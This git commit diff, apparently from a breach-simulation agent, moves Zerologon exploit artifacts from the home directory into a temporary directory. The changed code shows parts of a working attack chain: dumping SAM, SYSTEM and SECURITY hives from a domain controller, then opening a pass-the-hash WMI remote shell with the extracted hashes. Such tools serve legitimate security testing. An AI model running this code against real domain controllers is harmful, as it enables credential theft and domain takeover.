agent: Create a temporary directory for zerologon artifacts
Not all users are guaranteed to have a $HOME. Use a temporary directory instead.
This commit is contained in:
parent
7f06ec4034
commit
85b079c1ab
|
@ -7,6 +7,7 @@ https://github.com/risksense/zerologon/.
|
|||
import logging
|
||||
import os
|
||||
import re
|
||||
import tempfile
|
||||
from binascii import unhexlify
|
||||
from typing import Dict, List, Optional, Tuple
|
||||
|
||||
|
@ -39,6 +40,10 @@ class ZerologonExploiter(HostExploiter):
|
|||
self.exploit_info["credentials"] = {}
|
||||
self.exploit_info["password_restored"] = None
|
||||
self._extracted_creds = {}
|
||||
self._secrets_dir = tempfile.TemporaryDirectory(prefix="zerologon")
|
||||
|
||||
def __del__(self):
|
||||
self._secrets_dir.cleanup()
|
||||
|
||||
def _exploit_host(self) -> bool:
|
||||
self.dc_ip, self.dc_name, self.dc_handle = get_dc_details(self.host)
|
||||
|
@ -302,9 +307,9 @@ class ZerologonExploiter(HostExploiter):
|
|||
options = OptionsForSecretsdump(
|
||||
dc_ip=self.dc_ip,
|
||||
just_dc=False,
|
||||
system=os.path.join(os.path.expanduser("~"), "monkey-system.save"),
|
||||
sam=os.path.join(os.path.expanduser("~"), "monkey-sam.save"),
|
||||
security=os.path.join(os.path.expanduser("~"), "monkey-security.save"),
|
||||
system=os.path.join(self._secrets_dir.name, "monkey-system.save"),
|
||||
sam=os.path.join(self._secrets_dir.name, "monkey-sam.save"),
|
||||
security=os.path.join(self._secrets_dir.name, "monkey-security.save"),
|
||||
)
|
||||
|
||||
dumped_secrets = self.get_dumped_secrets(remote_name="LOCAL", options=options)
|
||||
|
@ -331,7 +336,11 @@ class ZerologonExploiter(HostExploiter):
|
|||
)
|
||||
|
||||
wmiexec = Wmiexec(
|
||||
ip=self.dc_ip, username=username, hashes=":".join(user_pwd_hashes), domain=self.dc_ip
|
||||
ip=self.dc_ip,
|
||||
username=username,
|
||||
hashes=":".join(user_pwd_hashes),
|
||||
domain=self.dc_ip,
|
||||
secrets_dir=self._secrets_dir,
|
||||
)
|
||||
|
||||
remote_shell = wmiexec.get_remote_shell()
|
||||
|
@ -372,7 +381,7 @@ class ZerologonExploiter(HostExploiter):
|
|||
|
||||
def remove_locally_saved_HKLM_keys(self) -> None:
|
||||
for name in ["system", "sam", "security"]:
|
||||
path = os.path.join(os.path.expanduser("~"), f"monkey-{name}.save")
|
||||
path = os.path.join(self._secrets_dir.name, f"monkey-{name}.save")
|
||||
try:
|
||||
os.remove(path)
|
||||
except Exception as e:
|
||||
|
|
|
@ -58,7 +58,7 @@ LOG = logging.getLogger(__name__)
|
|||
class RemoteShell(cmd.Cmd):
|
||||
CODEC = sys.stdout.encoding
|
||||
|
||||
def __init__(self, share, win32Process, smbConnection, outputFilename):
|
||||
def __init__(self, share, win32Process, smbConnection, outputFilename, secrets_dir):
|
||||
cmd.Cmd.__init__(self)
|
||||
self.__share = share
|
||||
self.__output = "\\" + outputFilename
|
||||
|
@ -68,6 +68,7 @@ class RemoteShell(cmd.Cmd):
|
|||
self.__transferClient = smbConnection
|
||||
self.__pwd = str("C:\\")
|
||||
self.__noOutput = False
|
||||
self.__secrets_dir = secrets_dir
|
||||
|
||||
# We don't wanna deal with timeouts from now on.
|
||||
if self.__transferClient is not None:
|
||||
|
@ -83,7 +84,7 @@ class RemoteShell(cmd.Cmd):
|
|||
newPath = ntpath.normpath(ntpath.join(self.__pwd, src_path))
|
||||
drive, tail = ntpath.splitdrive(newPath)
|
||||
filename = ntpath.basename(tail)
|
||||
local_file_path = os.path.join(os.path.expanduser("~"), "monkey-" + filename)
|
||||
local_file_path = os.path.join(self.__secrets_dir.name, "monkey-" + filename)
|
||||
fh = open(local_file_path, "wb")
|
||||
LOG.info("Downloading %s\\%s" % (drive, tail))
|
||||
self.__transferClient.getFile(drive[:-1] + "$", tail, fh.write)
|
||||
|
|
|
@ -61,13 +61,16 @@ LOG = logging.getLogger(__name__)
|
|||
class Wmiexec:
|
||||
OUTPUT_FILENAME = "__" + str(time.time())
|
||||
|
||||
def __init__(self, ip, username, hashes, password="", domain="", share="ADMIN$"):
|
||||
def __init__(
|
||||
self, ip, username, hashes, password="", domain="", share="ADMIN$", secrets_dir=None
|
||||
):
|
||||
self.__ip = ip
|
||||
self.__username = username
|
||||
self.__password = password
|
||||
self.__domain = domain
|
||||
self.__lmhash, self.__nthash = hashes.split(":")
|
||||
self.__share = share
|
||||
self.__secrets_dir = secrets_dir
|
||||
self.shell = None
|
||||
|
||||
def connect(self):
|
||||
|
@ -107,7 +110,7 @@ class Wmiexec:
|
|||
self.connect()
|
||||
win32Process, _ = self.iWbemServices.GetObject("Win32_Process")
|
||||
self.shell = RemoteShell(
|
||||
self.__share, win32Process, self.smbConnection, self.OUTPUT_FILENAME
|
||||
self.__share, win32Process, self.smbConnection, self.OUTPUT_FILENAME, self.__secrets_dir
|
||||
)
|
||||
return self.shell
|
||||
|
||||
|
|
Loading…
Reference in New Issue